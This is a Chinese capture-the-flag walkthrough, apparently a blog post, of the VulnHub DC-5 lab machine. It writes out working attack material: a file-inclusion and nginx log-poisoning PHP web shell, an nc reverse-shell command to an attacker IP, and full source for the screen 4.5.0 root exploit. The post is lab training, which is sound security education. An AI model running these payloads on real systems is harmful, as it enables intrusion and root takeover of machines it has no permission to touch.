前言
這次練習的靶機是vulnhub平臺下的DC系列靶機第五臺,下載地址為https://www.vulnhub.com/entry/dc-5,314/,該靶機的難度系數為中等,該靶機只有一個flag,最終目的的獲取root權限,奪取flag,
虛擬機配置
這次采用的網路連接模式依然是NAT模式,為了避免掃描到其他物理主機,在匯入虛擬機后,右擊DC-5靶機,然后選中配置,依次點擊網路配置->NAT模式->高級->生成,然后確認即可,

然后需要溢位CD/DVD選項,啟動時候會自動檢測并連接CD/DVD,如果連接不上就會導致啟動不了虛擬機,當然如果不移除該設備的話,去掉勾選啟動時連接也是可以的,

收集資訊
nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24
-sn 代表存活主機掃描,不進行埠測探,
–min-parallelism 代表調整探測報文的并行度,也就是在掃描同一臺主機時會發送很多個探測資料包,這個引數指定的數即nmap一次至少要發多少個資料包,
–min-hostgroup 代表調整并行掃描組的大小,也就是一次性同時對多少臺主機進行掃描,
更詳細內容可以參考:https://zhuanlan.zhihu.com/p/322244582,關于nmap的一些性能引數的學習,

通過nmap掃描獲取到靶機的IP地址為 192.168.119.164,下面就對靶機更加詳細地掃描,
nmap -A -sV -p- --min-parallelism 200 192.168.119.164
-A 代表綜合性掃描,能收集很多重要的資訊
-sV 代表掃描主要的服務資訊
-p- 引數p是指定埠,后面的
-代表所有埠,

通過掃描發現開靶機開放了80埠,111埠,53189埠,然后再掃描一下目錄,
dirsearch -u 192.168.119.164 -t 300

掃描目錄沒有發現什么重要資訊,然后打開網站看看有沒有資料互動的地方,因為有資料互動的地方就有可能有漏洞,

在 contact.php這也頁面發現了一個可以提交資料的地方,這個地方有可能有sql注入,在這里輸入一些單引號和雙引號并提交,看看頁面會不會報錯,

提交后沒有報錯,還跳轉到了 thankyou.php頁面,發現了這些資料是通過 GET方式提交,
http://192.168.119.164/thankyou.php?firstname=dafda%27&lastname=adfasdf%27%27&country=other&subject=elsld%27%22
還通過插件wappalyzer得知該靶機使用的中間件是Nginx,最后還發現重繪后底部著作權宣告會發生變化,猜測這個底部的檔案包含可以通過引數控制,
根據我開發網站的經驗來看,因為所有頁面底部著作權宣告內容都相同,為了方便管理一般會把底部單獨寫到一個檔案里面,然后底部網頁地址存盤在一個組態檔的常量里,然后每個頁面可以通過這個常量來引入底部頁面,
漏洞利用
通過目錄掃描得知thankyou.php與index.php等頁面在同一個目錄下面,所以我們可以測驗包含 index.php這個頁面,一般檔案包含的引數常見的有 include, require, page ,file, f等等,我們可以首先手動嘗試這些可能性極高的引數,如果沒有發現再通過字典爆破,最終發現 file正是檔案包含的引數,
http://192.168.119.164/thankyou.php?file=index.php

首頁已經包含了進來,嘗試一下包含網站目錄外部的檔案,
http://192.168.119.164/thankyou.php?file=/etc/passwd

網站外部檔案也能包含進來,那么我們也可以包含nginx的日志檔案,每當我們訪問一個頁面,nginx就會把相關的訪問記錄寫入日志檔案 access.log的中,每當我們訪問一個出錯的頁面,nginx就會把相關的錯誤訪問記錄寫入日志檔案 error.log中,nginx的日志檔案一般存盤在 /var/log/nginx/中,我們嘗試將一句話木馬寫入日志檔案中,
http://192.168.119.165/thankyou.php?file=<?php system($_GET['a']);?>
這里引入一個錯誤的檔案,讓nginx將上面URL寫入error.log中,也就將一句話木馬寫入了日志檔案中,

接下來就測驗一下這個一句話木馬,
http://192.168.119.165/thankyou.php?file=/var/log/nginx/error.log&a=id

沒有發現 id命令輸出的結果,命令沒有作用,經過分析發現寫入日志的命令是通過url編碼后的命令,所以服務器就把它當成一個字串了,我們可以使用burpsuite提交資料,這樣就可以避免url編碼,

然后再來測驗一下命令,現在已經發現命令執行成功了!!!
http://192.168.119.165/thankyou.php?file=/var/log/nginx/error.log&a=id

建立shell
接下來就反彈一個shell,這樣操作起來更加的方便,首先在本地監聽一個埠 4443,
rlwrap nc -lvnp 4443

然后再瀏覽器訪問下面地址,利用一句話木馬執行反彈shell的命令,
http://192.168.119.165/thankyou.php?file=/var/log/nginx/error.log&a=nc -e /bin/bash 192.168.119.130 4443

然后升級為互動式shell,在本地執行下面命令:
python -c 'import pty;pty.spawn("/bin/bash")'

提權
老規矩,還是首先測驗一下能否suid提權,
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
-perm 是代表按指定權限搜索,
-u=s 其中u代表當前用戶的權限,s代表suid權限,-號代表至少需要滿足指定的權限,可以有更多的權限,但是不能少了這個指定權限,關于這個引數更詳細的內容可以參考:https://blog.csdn.net/weixin_44061169/article/details/105784760
-tpye 代表搜索指定的型別,f代表檔案,
-exec 代表搜索完后執行指定的命令,其中{}代表所搜到的結果,命令以分號為結束標識,更詳細內容可以參考:https://www.pianshen.com/article/86691137271/
2>/dev/null 代表不顯示錯誤資訊,詳細介紹已經在前面的博客講了,可以參考我前面的博文,

發現了一個比較特殊的檔案 screen-4.5.0,當然其他檔案比較常見,通過經驗判斷是不能提權的,接下來就用searchsploit搜索一下這個比較特殊的檔案,
searchsploit screen 4.5.0

首先把第一個拷貝到當前目錄嘗試一下,
searchsploit -m 41154.sh

經過測驗這個檔案直接上傳執行不會成功,需要分別將里面的代碼分為三個部分,分別編譯后執行才能成功,
#include <stdio.h>#include <sys/types.h>#include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n");}
將這段代碼保存為 libhax.c,并執行下面命令進行編譯:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
-fPIC 引數表明使用地址無關代碼,
-shared 引數表明產生共享庫,
-ldl 其中引數-l為連接一個共享庫,dl表示名為libdl.a的靜態庫,
簡單幾句是講解不清這些引數的作用的,更多內容可以參考:
https://bbs.csdn.net/topics/300122156,gcc 引數 -ldl 是指什么?
https://blog.csdn.net/hlzs_01/article/details/39337557,gcc -ldl
https://www.cnblogs.com/cswuyg/p/3830703.html,Linux共享物件之編譯引數fPIC

有警告,但是沒關系,接下來將下面代碼保存為另一個檔案 rootshell.c,
#include <stdio.h>int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL);}
然后執行下面命令編譯rootshell.c:
gcc -o rootshell rootshell.c

然后將下面代碼保存為 getroot.sh,
cd /etcumask 000 # becausescreen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline neededecho "[+] Triggering..."screen -ls # screen itself is setuid, so... /tmp/rootshell
然后將編譯后的檔案和 getroot.sh共三個檔案一起上傳到靶機的 /tmp目錄,在靶機執行下面命令:
nc -lvnp 4448 > libhax.so
這代表監聽4448埠,并把監聽到的資料寫入libhax.so這個檔案中,

然后在本地執行下面命令:
nc 192.168.119.165 4448 < libhax.so
這代表將libhax.so傳送到192.168.119.160的4448埠
上傳結束后在本地按ctrl+c結束,其他兩個檔案按照這種方法依次上傳,要注意的是需要上傳到 /tmp目錄下,因為代碼中使用的是絕對路徑,

給 getshell.sh賦予執行權限,然后執行,
chmod +x getroot.sh./getroot.sh
現在已經提權成功了,可以去/root目錄獲取flag了,

參考文獻
[1] https://bbs.csdn.net/topics/300122156,gcc 引數 -ldl 是指什么?
[2] https://blog.csdn.net/hlzs_01/article/details/39337557,gcc -ldl
[3] https://www.cnblogs.com/cswuyg/p/3830703.html,Linux共享物件之編譯引數fPIC
[4] https://blog.csdn.net/Naisu_kun/article/details/116918290,GCC快速入門
[5] https://www.zhihu.com/question/25536695,誰能用通俗的語言解釋一下什么是 RPC 框架?
[6] https://www.jianshu.com/p/7d6853140e13,什么是RPC?
[7] https://blog.csdn.net/weixin_43583637/article/details/102769923,Vulnhub靶機實戰——DC-5
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294873.html
標籤:其他
上一篇:ctfshow web入門 命令執行前篇(web29-web54)
下一篇:kali局域網攻擊(一)
